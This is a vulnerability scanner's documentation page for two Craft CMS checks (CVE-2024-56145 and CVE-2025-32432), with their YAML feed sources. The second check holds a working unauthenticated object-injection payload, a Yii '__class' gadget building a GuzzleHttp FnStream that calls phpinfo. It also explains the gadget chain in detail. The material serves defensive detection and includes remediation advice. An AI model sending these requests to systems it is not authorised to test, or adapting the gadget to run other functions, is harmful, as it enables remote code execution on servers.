Craft CMS — 2 vulnerability checks
noctis ships 2 vulnerability checks for Craft CMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Craft CMS PHP argv Injection RCE via ?--configPath=
| CVE | CVE-2024-56145 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/craftcms/CVE-2024-56145.yaml |
Requests /?--configPath=<marker> and reports when Craft CMS echoes the marker in its 503 error, showing the query string reaches PHP argv (register_argc_argv is on) and can override the config path.
How noctis detects it
- HTTP(S) request
GET /?--configPath=NOCTIS_CRAFTCMS_56145 - Checks
inject_resp.bodyforNOCTIS_CRAFTCMS_56145→ finding QoD 75: Craft CMS PHP argv injection via ?--configPath confirmed — injected configPath token echoed in 503 error response (CVE-2024-56145)
Feed source — tests/vulnerabilities/craftcms/CVE-2024-56145.yaml
uid: 9263c35c-c04e-4768-af7b-d93b27e9c75e
name: "Craft CMS PHP argv Injection RCE via ?--configPath= (CVE-2024-56145)"
description: "Requests /?--configPath=<marker> and reports when Craft CMS echoes the marker in its 503 error, showing the query string reaches PHP argv (register_argc_argv is on) and can override the config path."
cves: [CVE-2024-56145]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
- craftcms
- rce
- kev
- php
- argv-injection
services:
- http
- https
author: noctis
version: "1.0.0"
steps:
- id: argv-inject
action: http_request
method: GET
path: "/?--configPath=NOCTIS_CRAFTCMS_56145"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
follow_redirects: false
store_as: inject_resp
- id: injection-confirmed
action: match
source: inject_resp.body
pattern: "NOCTIS_CRAFTCMS_56145"
condition: "inject_resp.status == 503"
on_match:
finding:
confidence_delta: 0.32
qod: 75
evidence: "Craft CMS PHP argv injection via ?--configPath confirmed — injected configPath token echoed in 503 error response (CVE-2024-56145)"Craft CMS generate-transform Object Injection RCE
| CVE | CVE-2025-32432 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/craftcms/CVE-2025-32432.yaml |
Craft CMS 3.0.0-RC1 to 3.9.14, 4.0.0-RC1 to 4.14.14 and 5.0.0-RC1 to 5.6.16 let an unauthenticated visitor pass an array as the handle of the assets/generate-transform action. Craft builds an image transform object from it, and an "as <name>" key makes the framework instantiate any class with any properties, which leads to remote code execution.
This check reads the CSRF token and cookies that Craft hands out on the control panel action URL, then posts a generate-transform request whose handle builds an object that calls phpinfo() when it is released. The vulnerability is confirmed when the reply contains the phpinfo() row listing a random request header sent for this scan only, which a page that merely echoes the request cannot produce, and a second request without the object does not print it. No command is run and nothing is written. Craft 3.x looks the asset up first and is only confirmed when the posted asset id exists.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.0 - HTTP(S) request
GET /index.php?p=admin/actions/assets/generate-transform - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /index.php?p=admin/actions/assets/generate-transformwith a crafted body - HTTP(S) request
POST /index.php?p=admin/actions/assets/generate-transformwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
hitfor^phpinfo$→ finding QoD 97: Craft CMS generate-transform Object Injection RCE (CVE-2025-32432)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32432
- https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
- https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
- https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
Feed source — tests/vulnerabilities/craftcms/CVE-2025-32432.yaml
# Craft CMS — assets/generate-transform object injection RCE — CVE-2025-32432
#
# craft\controllers\AssetsController::actionGenerateTransform is anonymous
# ($allowAnonymous = ['generate-thumb', 'generate-transform']). Without a transformId it
# reads the assetId and handle body params and, in 4.x / 5.x, runs
# ImageTransforms::normalizeTransform($handle) BEFORE looking the asset up:
# return Craft::createObject(['class' => ImageTransform::class, ...$transform]);
# An array handle therefore configures the object with attacker keys; a key "as <name>"
# makes yii\base\Component::__set attach a behavior built by Yii::createObject($value).
# Yii 2.0.51 (pinned "~2.0.51.0" by Craft 4.14.x / 5.6.x) only checks that
# $value['class'] is a Behavior, while createObject() instantiates $value['__class']
# when present, so {"class": <a Behavior>, "__class": <any class>} builds any class with
# any properties. The public detection (ProjectDiscovery) builds
# GuzzleHttp\Psr7\FnStream with _fn_close = "phpinfo": its __destruct calls phpinfo()
# while the request is processed. 5.6.17 / 4.14.15 / 3.9.15 reject a non-string handle
# (400 "Invalid transform handle."); Yii 2.0.52 also refuses a non-Behavior __class.
#
# Detection:
# 1. GET /index.php?p=admin/actions/assets/generate-transform (raw request: every
# Set-Cookie is needed — Craft sets CRAFT_CSRF_TOKEN and CraftSessionId, and
# http_request keeps only the last one). The CP error page carries
# "csrfTokenValue":"…" (Craft fingerprint). The request carries a random
# X-Noctis-Probe header: if this page already prints it as a phpinfo() row, the
# host is a phpinfo-everywhere page and the check stops (control).
# 2. POST the JSON {"assetId":1,"handle":{…,"as noctis":{"class":
# "craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream",
# "__construct()":[[]],"_fn_close":"phpinfo"}}} with X-CSRF-Token + the cookies and
# another random X-Noctis-Probe value. phpinfo() lists the request headers as
# $_SERVER['HTTP_X_NOCTIS_PROBE'] rows; the finding (QoD 97) needs that row with
# this run's random value, which a page reflecting the request cannot produce (the
# header name never appears in that form in the request). Nothing is written and
# no command runs; phpinfo() is the benign proof that an attacker-chosen PHP
# function was called.
#
# Verified with the real yiisoft/yii2 2.0.51 + guzzlehttp/psr7 2.7 classes (own
# reconstruction of normalizeTransform + the controller's try/catch, PHP 8.3 CLI):
# phpinfo() runs, then createObject() throws "Unsupported configuration type: object"
# (500 "Image transform cannot be created."); phpinfo() output has already been flushed
# (headers sent, status 200 — the reason the public template matches a 200). With
# Yii 2.0.52 the same payload is refused before instantiation.
#
# Known limits:
# - Craft 3.x looks the asset up first (400 "Invalid asset ID: N"): the gadget runs
# only with an existing asset id, which is not guessable from outside → no finding.
# - phpinfo in disable_functions, or output_buffering large enough to hold the whole
# phpinfo() page (the error handler then discards it) → no finding.
# - A custom cpTrigger (not "admin") moves the CP action route → no finding.
# - enableCsrfProtection = false: no csrfTokenValue on the page, the check stops.
# - tcp_connect reads for 3 s at most: when the CP error page is slower, the token is
# read again with http_request, which keeps only the LAST Set-Cookie (the CSRF
# cookie may be lost there → CSRF 400 → no finding).
#
# A second POST with a plain array handle (no "as" key, nothing instantiated) must not
# print the phpinfo() row (control against a server faking the row on every POST).
#
# Sources: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432 ,
# https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/ ,
# nuclei-templates http/cves/2025/CVE-2025-32432.yaml,
# craftcms/cms 5.6.16 vs 5.6.17 src/controllers/AssetsController.php.
uid: 76fb7d63-a53c-4c22-856e-b2ee3c947bad
name: "Craft CMS generate-transform Object Injection RCE (CVE-2025-32432)"
description: |
Craft CMS 3.0.0-RC1 to 3.9.14, 4.0.0-RC1 to 4.14.14 and 5.0.0-RC1 to 5.6.16 let an
unauthenticated visitor pass an array as the handle of the assets/generate-transform
action. Craft builds an image transform object from it, and an "as <name>" key makes
the framework instantiate any class with any properties, which leads to remote code
execution.
This check reads the CSRF token and cookies that Craft hands out on the control panel
action URL, then posts a generate-transform request whose handle builds an object
that calls phpinfo() when it is released. The vulnerability is confirmed when the
reply contains the phpinfo() row listing a random request header sent for this scan
only, which a page that merely echoes the request cannot produce, and a second
request without the object does not print it. No command is run and nothing is
written. Craft 3.x looks the asset up first and is only confirmed when the posted
asset id exists.
category: rce
cves: [CVE-2025-32432]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags:
- rce
- code-injection
- unauthenticated
- kev
- craftcms
- php
services:
- http
- https
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-32432"
- "https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432"
- "https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3"
- "https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/"
steps:
# ── Per-run random header values (control GET, exploit POST) ────────────────
- id: gen
action: script
code: |
#{ ctl: "n" + rand_hex(8), probe: "n" + rand_hex(8) }
store_as: sc
- id: init-tok
action: set_var
var_name: tok
var_value: {connected: false, banner: null}
- id: init-tok2
action: set_var
var_name: tok2
var_value: {status: 0, body: null, headers: {}}
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: null, headers: {}}
- id: init-exp
action: set_var
var_name: exp
var_value: {status: 0, body: null, headers: {}}
# 1. CSRF token + cookies from the CP action URL (raw: every Set-Cookie is needed)
- id: fetch-token
action: tcp_connect
port: "{{port}}"
timeout_secs: 15
send: "GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html,*/*\r\nX-Noctis-Probe: {{sc.ctl}}\r\n\r\n"
store_as: tok
# Slow CP page (tcp_connect reads 3 s at most): read it again with http_request
- id: fetch-token-slow
action: http_request
method: GET
path: "/index.php?p=admin/actions/assets/generate-transform"
port: "{{port}}"
tls_insecure: true
timeout_secs: 20
follow_redirects: false
condition: 'type_of(tok.banner) != "string" || !tok.banner.contains("csrfTokenValue")'
headers:
X-Noctis-Probe: "{{sc.ctl}}"
store_as: tok2
- id: parse-token
action: script
code: |
let out = #{ ok: false, token: "", cookie: "" };
let raw = if type_of(tok.banner) == "string" && tok.banner.contains("csrfTokenValue") { tok.banner } else { "" };
if raw == "" && type_of(tok2.body) == "string" {
// http_request: status line + only the last Set-Cookie (engine map) + body
let sc2 = if type_of(tok2.headers) == "map" && type_of(tok2.headers["set-cookie"]) == "string" { tok2.headers["set-cookie"] } else { "" };
raw = "HTTP/1.1 " + tok2.status + " X\r\nSet-Cookie: " + sc2 + "\r\n\r\n" + tok2.body;
}
if raw != "" {
let all = raw;
let head = all;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
let t = eregmatch("\"csrfTokenValue\":\"([^\"\\\\]+)\"", all);
// Control: a page that already prints our header as a phpinfo() row is not Craft
let echoed = all.contains("$_SERVER['HTTP_X_NOCTIS_PROBE']");
if ereg("^HTTP/1\\.[01] [0-9]{3}", head) && t.len() > 1 && !echoed {
out.token = t[1];
let jar = #{};
for raw in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
jar[c[1]] = c[2];
}
for k in jar.keys() {
if out.cookie != "" { out.cookie += "; "; }
out.cookie += k + "=" + jar[k];
}
out.ok = true;
}
}
out
store_as: csrf
# 2. generate-transform with the FnStream/phpinfo handle
- id: exploit
action: http_request
method: POST
path: "/index.php?p=admin/actions/assets/generate-transform"
port: "{{port}}"
tls_insecure: true
timeout_secs: 20
follow_redirects: false
condition: "csrf.ok == true"
headers:
Content-Type: "application/json"
X-CSRF-Token: "{{csrf.token}}"
Cookie: "{{csrf.cookie}}"
X-Noctis-Probe: "{{sc.probe}}"
body: '{"assetId":1,"handle":{"width":123,"height":123,"as noctis":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}'
store_as: exp
# 3. Control: same request, plain array handle (no "as" key, nothing instantiated)
- id: control
action: http_request
method: POST
path: "/index.php?p=admin/actions/assets/generate-transform"
port: "{{port}}"
tls_insecure: true
timeout_secs: 20
follow_redirects: false
condition: "csrf.ok == true"
headers:
Content-Type: "application/json"
X-CSRF-Token: "{{csrf.token}}"
Cookie: "{{csrf.cookie}}"
X-Noctis-Probe: "{{sc.ctl}}"
body: '{"assetId":1,"handle":{"width":123,"height":123}}'
store_as: ctl
- id: check
action: script
condition: "csrf.ok == true"
code: |
let row = "$_SERVER['HTTP_X_NOCTIS_PROBE']";
let b = if type_of(exp.body) == "string" { exp.body } else { "" };
let c = if type_of(ctl.body) == "string" { ctl.body } else { "" };
let shown = b.contains(row + "</td><td class=\"v\">" + sc.probe + " </td>")
|| b.contains(row + "</td><td class=\"v\">" + sc.probe + "</td>")
|| b.contains(row + " => " + sc.probe);
if shown && !c.contains(row) { "phpinfo" } else { "" }
store_as: hit
- id: report
action: match
source: hit
pattern: "^phpinfo$"
on_match:
finding:
title: "Craft CMS generate-transform Object Injection RCE (CVE-2025-32432)"
description: "An unauthenticated generate-transform request whose handle builds a GuzzleHttp FnStream object made Craft CMS call phpinfo(): the reply lists this scan's random request header as a phpinfo() row. An attacker can instantiate arbitrary classes and execute code on the server."
remediation: "Update Craft CMS to 5.6.17, 4.14.15 or 3.9.15 or later (and Yii to 2.0.52 or later). If an update is not possible right away, block POST requests to actions/assets/generate-transform whose handle is not a string at the web application firewall."
confidence_delta: 0.67
qod: 97
evidence: "POST /index.php?p=admin/actions/assets/generate-transform (handle \"as noctis\" = FnStream, _fn_close=phpinfo) returned HTTP {{exp.status}} with the phpinfo() row $_SERVER['HTTP_X_NOCTIS_PROBE'] = {{sc.probe}} (random per scan)"